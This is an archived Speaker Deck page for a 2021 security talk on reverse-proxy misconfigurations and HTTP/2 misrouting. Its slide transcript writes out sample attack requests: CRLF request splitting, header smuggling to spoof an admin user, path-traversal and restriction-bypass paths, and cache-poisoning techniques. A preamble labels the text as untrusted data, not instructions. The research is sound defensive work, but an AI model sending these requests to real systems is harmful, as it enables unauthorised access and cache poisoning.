Weird proxies/2 and a bit of magic

Weird proxies/2 and a bit of magic - GreenDog, Speaker Deck.

- Published: 2021-09-01
- Original: <https://speakerdeck.com/greendog/2-and-a-bit-of-magic>
- Preserved from: https://speakerdeck.com/greendog/2-and-a-bit-of-magic (live) on 2026-08-10
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Weird proxies/2 and a bit of magic - Speaker Deck

Weird proxies/2 and a bit of magic

https://zeronights.ru/en/reports-en/weird-proxies-2-and-a-bit-of-magic/

Reverse proxies and their variations are used everywhere in modern web applications for routing, caching, and access differentiation. This talk is dedicated to new research results about different reverse proxies and new possibilities brought by HTTP/2. It is a collection of tricks for exploiting various misconfigurations.

Results - https://github.com/GrrrDog/weird_proxies

[image: Avatar for GreenDog]

GreenDog

September 01, 2021

More Decks by GreenDog

See All by GreenDog

How to break SAML if I have paws?

[[image: Avatar for GreenDog] greendog](https://speakerdeck.com/greendog)

1

3k

Reverse proxies & Inconsistency

[[image: Avatar for GreenDog] greendog](https://speakerdeck.com/greendog)

3

5.9k

MITM Attacks on HTTPS: Another Perspective

[[image: Avatar for GreenDog] greendog](https://speakerdeck.com/greendog)

2

890

Deserialization vulnerabilities

[[image: Avatar for GreenDog] greendog](https://speakerdeck.com/greendog)

1

1.1k

Other Decks in Programming

See All in Programming

Effect ? / TSKaigi Mashup Kansai #2

[[image: Avatar for Susisu] susisu](https://speakerdeck.com/susisu)

0

150

Japan Community Day at Kubecon + CloudNativeCon Japan 2026: Learning Container Privilege Control by Building My Own Low-Level Container Runtime

[[image: Avatar for ternbusty] ternbusty](https://speakerdeck.com/ternbusty)

1

140

AI

[[image: Avatar for Masahiko Funaki( )] mfunaki](https://speakerdeck.com/mfunaki)

0

130

yield #phpcon

[[image: Avatar for hideki kinjyo] o0h](https://speakerdeck.com/o0h)

PRO

0

970

PHP 2026 AI LAMP

[[image: Avatar for Hideo Kashioka] kashioka](https://speakerdeck.com/kashioka)

0

860

torikago - Ruby::Box

[[image: Avatar for nori] se4weed](https://speakerdeck.com/se4weed)

1

350

Cloudflare is Agents

[[image: Avatar for chimame] chimame](https://speakerdeck.com/chimame)

0

140

synth AI CDK / It Passes Type Checks, It Passes Synth Checks, but It’s Still Risky — Automatically Verifying Permissions and Costs in AI’s CDK —

[[image: Avatar for shiro seike] seike460](https://speakerdeck.com/seike460)

PRO

1

540

20260722_microCMS AI

[[image: Avatar for Yoshihisa Kaino] yosh1](https://speakerdeck.com/yosh1)

0

370

<title><a id="</title> HTML "></title> # LT_study

[[image: Avatar for pizzacat83] pizzacat83](https://speakerdeck.com/pizzacat83)

0

140

Claude Code " " CLI

[[image: Avatar for sumihiro3] sumihiro3](https://speakerdeck.com/sumihiro3)

1

670

Claude Code AgentCore Gateway / Authentication and authorization when connecting Claude Code with AgentCore Gateway

[[image: Avatar for Har1101] har1101](https://speakerdeck.com/har1101)

1

250

Featured

See All Featured

<Decoding/> the Language of Devs - We Love SEO 2024

[[image: Avatar for Nikki Halliwell] nikkihalliwell](https://speakerdeck.com/nikkihalliwell)

1

280

Leadership Guide Workshop - DevTernity 2021

[[image: Avatar for David Neal] reverentgeek](https://speakerdeck.com/reverentgeek)

1

330

Build your cross-platform service in a week with App Engine

[[image: Avatar for Jose L] jlugia](https://speakerdeck.com/jlugia)

234

19k

Building a A Zero-Code AI SEO Workflow

[[image: Avatar for Ian Lurie] portentint](https://speakerdeck.com/portentint)

PRO

0

660

KATA

[[image: Avatar for Megan Lloyd] mclloyd](https://speakerdeck.com/mclloyd)

PRO

35

15k

[

WENDY [Excerpt]

](https://speakerdeck.com/tessaabrams/wendy-excerpt)

[[image: Avatar for Tessa Abrams] tessaabrams](https://speakerdeck.com/tessaabrams)

11

39k

Become a Pro

[[image: Avatar for Speaker Deck] speakerdeck](https://speakerdeck.com/speakerdeck)

PRO

31

6.2k

4 Signs Your Business is Dying

[[image: Avatar for Josh Pigford] shpigford](https://speakerdeck.com/shpigford)

187

22k

Dealing with People You Can't Stand - Big Design 2015

[[image: Avatar for Cassini Nazir] cassininazir](https://speakerdeck.com/cassininazir)

367

27k

Exploring the relationship between traditional SERPs and Gen AI search

[[image: Avatar for Ray Grieselhuber] raygrieselhuber](https://speakerdeck.com/raygrieselhuber)

PRO

2

4.2k

Intergalactic Javascript Robots from Outer Space

[[image: Avatar for Vicent Martí] tanoku](https://speakerdeck.com/tanoku)

273

27k

The #1 spot is gone: here's how to win anyway

[[image: Avatar for Tamara Novitovic] tamaranovitovic]
(https://speakerdeck.com/tamaranovitovic)

3

1.1k

Transcript

-

Weird proxies/2

-

About me - Security researcher at Invicti - Web security

enthusiast / pentester https://github.com/GrrrDog https://twitter.com/antyurin - Co-organizer of Defcon Russia 7812 https://t.me/DCG7812

-

Weird proxies/2 - ZeroNights 2018 - “Reverse proxies & Inconsistency”

- https://github.com/GrrrDog/weird_proxies - Research Collisions - Thanks to contributors

-

Reverse proxy - Front-End - Reverse proxy/Load balancer/Cache proxy/... -

Back-end - Origin/Web-Server/...

-

Front-end Request - Route to back-end - Route to endpoints

- Rewrite path/query - Deny access - Headers modification - ... Response - Cache - Headers modification - Body modification - ...

-

HTTP/1.1 Request-line: method SP request-target SP HTTP-version CRLF GET /path/

HTTP/1.1 - Request-line Host: target.com Header: value

-

Server - Receive Request - Parse - Normalize (/path/../ ->

/path/, urldecode) - Apply rules (deny /admin, proxy to /endpoint2/) - Recreate Request (urlencode, initial/norm. path) - Send Request Inconsistency between Front-end and Back-end

-

Host misrouting Haproxy: - Doesn’t support Absolute URI - Forwards

as is GET http://backend.com/q?name=X&type=Y HTTP/1.1 Host: target.com Nginx: - backend.com “rewrites” Host header

-

Host misrouting GET http://localhost/q?name=X&type=Y HTTP/1.1 Host: target.com Haproxy: - target.com

Nginx: - localhost

-

Nginx - Accepts raw bytes (0x01-0x20) in path as-is GET

/path/<TAB>HTTP/1.1 HTTP/1.1 Path => /path/<TAB>HTTP/1.1

-

Nginx - No trailing slash in proxy_pass proxy_pass http://backend -

Forwards the initial path After: GET /path/<TAB>HTTP/1.1 HTTP/1.1

-

Gunicorn - Reads until 1st whitespace with HTTP/1.1 - Accepts

arbitrary string in HTTP version GET /path/ HTTP/1.1 anything

-

Path misrouting Nginx + Gunicorn location /public/path { proxy_pass http://backend_gunicorn;

}

-

Path misrouting GET /admin/<TAB>HTTP/1.1/../../../public/path HTTP/1.1 Nginx: - After normalization -

/public/path - Forwards - /admin/<TAB>HTTP/1.1/../../../public/path Gunicorn: - After parsing - /admin/

-

Caddy - urldecodes, but doesn't normalize the path - Bypasses,

misrouting - //admin/ /./admin/ /Admin/ - Support fastcgi - php-fpm - as "back-end" - Idea: path traversal in SCRIPT_FILENAME for php-fpm

-

Caddy @phpFiles path *.php reverse_proxy @phpFiles 192.168.78.111:9000 { transport fastcgi

{ split .php } }

-

Caddy - Caddy's fastcgi module internally normalizes path - <=2.4.?

- Path traversal vuln - /../../../../../any/path/www/index.php HTTP/1.1 - https://github.com/caddyserver/caddy/pull/4207 - no cve :(

-

URL/Header manipulation Caddy: route /prefix/* { uri strip_prefix /prefix/ reverse_proxy

192.168.78.111:9999 } Before - GET /prefix/http://localhost/admin HTTP/1.1 After - GET http://localhost/admin HTTP/1.1

-

URL/Header manipulation - Nginx $uri - normalized URI (urldecoded) -

Works for any normalized value location /uri { proxy_pass http://192.168.78.111:9999; proxy_set_header X-uri $uri; }

-

URL/Header manipulation - %0d%0a -> \r\n - Request Splitting GET

/uri/%0d%0a%0d%0aGET%20/admin%20HTTP/1.1%0d%0 aHost:localhost%0d%0a%0d%0a HTTP/1.1

-

URL/Header manipulation After Nginx, a web server sees 2 requests:

GET /uri/%0D%0A%0D%0AGET%20/admin%20HTTP/1.1%0 D%0AHost:localhost%0D%0A%0D%0A HTTP/1.0 Host: target.com X-uri: /uri/ GET /admin HTTP/1.1 Host:localhost

-

Deep rabbit hole - Send url encoded value location ~

/header/(*.)? { proxy_pass http://192.168.78.111:9999/test/$1; } - Send url decoded value (\r\n) location ~ /header/([^/]*/[^/]*)? { proxy_pass http://192.168.78.111:9999/test/$1; }*

-

Deep rabbit hole - Send url decoded values location ~

/header/([^/]*/[^/]*)? { proxy_pass http://192.168.78.111:9999/test/$1; } - 0_o Thanks to https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/

-

Complex systems AWS, Fastly, CloudFlare, StackPath, etc (tested in 2019)0

- many components (routing, caching, WAF, etc) - inconsistency between internal components Normalize (/path/../ -> /path/, urldecode) Apply rules (deny /admin, proxy to /endpoint2/) Recreate Request (urlencode, initial/norm. path)

-

Restriction bypass - Restricted access to /admin - Bypasses: //admin/

/Admin/ /%61dmin/ /aaa/../admin - + Path misrouting - AWS - Fastly - patched(?) documentation - CloudFlare - https://developers.cloudflare.com/rules/normalization

-

Nginx? Errors? Examples AWS ELB - // -> / ,

but /// -> /// - Forwards spaces in path AWS CloudFront - Deletes spaces in path - Forwards the initial path - If space in the path, forwards normalized path StackPath - Incorrectly normalizes /../ in some cases

-

API gateway - Egress proxy - Microservices - Routing -

Authentication - Add header to request

-

API gateway - Kong - Based on Nginx - Didn't

normalize path - /public/../admin -> /public/../admin - CVE-2021–27306 https://sewan.medium.com/cve-2021-27306-access-an-authenticated-route-on-kong-a pi-gateway-6ae3d81968a3

-

API gateway - Traefik doesn't normalize path - Caddy doesn't

normalize path - Envoy depends on configuration - CVE-2019-9901 (<1.9.1) - Doesn't normalize path in older versions, by default(?) - Many options to setup normalization - Hard to configure properly

-

Header smuggling API Gateway checks auth and adds header -

e.g x-user: admin CGI* "-" is converted to "_" - Traefik, Caddy, Envoy* proxy them - Caddy proxies to fastcgi

-

Caddy: Underscore To Caddy: GET / HTTP/1.1 x_user: ADMIN After

Caddy* (fastcgi): GET / HTTP/1.1 x-user: anonymous x_user: ADMIN

-

Envoy: Double headers - name: envoy.filters.http.ext_authz typed_config: "@type": type.googleapis.com/envoy.extensions.filters.http.ext_authz.v3.ExtAuthz http_service:

server_uri: uri: ext_authz cluster: ext_authz-http-service timeout: 0.250s authorization_response: allowed_upstream_headers: patterns: - exact: x-user

-

Envoy: Double headers To Envoy GET / HTTP/1.1 x-user: asdasd

x-user: ADMIN - Tested on 1.14.4 After Envoy GET / HTTP/1.1 x-user: User_from_ext_auth x-user: ADMIN

-

Special symbols Test normalization of header names Traefik(1.7.7) - Accepts

header with a trailing space - Forwards without the trailing space - net/http - Before Go 1.13.1 and Go 1.12.10 (CVE-2019-16276)

-

Special symbols To Traefik GET / HTTP/1.1 x-user : ADMIN

After Traefik GET / HTTP/1.1 x-user: ADMIN x-user: anonymous

-

Web cache poisoning Header smuggling with multiple headers Nginx allows

multiple Host headers - Nginx uses 1st Host - fastcgi_pass or uwsgi_pass gets 2nd Host - App trusts Host header - Cache proxy forwards multiple Host headers (smuggled), 2nd Host header is injection point

-

Web cache poisoning Header smuggling and Range header - Range

header returns part of response body Request: - Range: bytes=33- Response: - Status - 206 - Content-Range: bytes 33-106/107

-

Range header - 206 is allowed to cache, by standard

- Most cache proxies don’t cache, by default - Can be configured to cache - Varnish doesn’t proxy Range header*

-

Range header sub vcl_fetch { # ... if (beresp.status >=

200 && beresp.status < 300) { set beresp.cacheable = true; } # ... } https://docs.fastly.com/en/guides/http-status-codes-cached-by-default

-

Range header - Browser treats 206 as 200 - If

1 range, server returns same Content-Type - Browser renders part of response - Attack can control part of response - Back-end must support Range

-

Range header - Send request with smuggled Range header -

Cache proxy forwards it to Back-end - Back-end returns a part of response - Cache proxy caches the part - Victim’s browser renders only the part - Attacker can escape context

-

HTTP/2 - Binary protocol - Length for fields - Frames

(Headers, Data) - High-level compatibility with HTTP/1.1 - Pseudo-headers - :method, :scheme, :authority, :path - HTTP/2 -> HTTP/1.1

-

HTTP/2 HTTP/1.1: GET /path/ HTTP/1.1 Host: target.com Header: value HTTP/2:

:method:GET :path:/path/ :authority:target.com :scheme:https header:value

-

Restriction bypass Before :method:GET :path:<SP>/admin/ :authority:target.com :scheme:https Header: value <sp>

- white space After GET<SP><SP>/admin/ HTTP/1.1 Host: target.com Header: value

-

- :authority - host header - absolute uri Collision

-

Host misrouting Before Haproxy :authority:target.com host:localhost After Haproxy GET /

HTTP/1.1 Host:localhost

-

Haproxy - Prepend :scheme to path - If it’s not

http or https - Allows any symbols in :scheme - except \x00 \x0a \x0d - v2.4.0

-

Misrouting Before Haproxy :path:/any :scheme:http://localhost/admin? :authority:target.com After Haproxy GET http://localhost/admin?://target.com/any

HTTP/1.1

-

Envoy - Allows spec symbols and \x20 \x09 in :method

- v1.18.3 - The same for Haproxy

-

Misrouting Before Envoy :method:GET /admin? :path:/ After Envoy GET /admi n?

/ HTTP/1.1 Nginx: /admin? /

-

CPDoS and HTTP/2 - Cache Poisoning DoS - When we

can poison cache proxy with “broken response” - Usually, when proxy caches 4xx, 5xx resps - Meta symbols in header names - Oversized headers

-

Conclusion - New web-servers - old problems - Lack of

path normalization - Configuration-dependent vulnerabilities - New protocol - new opportunities

-

Next steps - Reading list of related articles/presentations - Results

- Docker images https://github.com/GrrrDog/weird_proxies

-

Thank you Questions
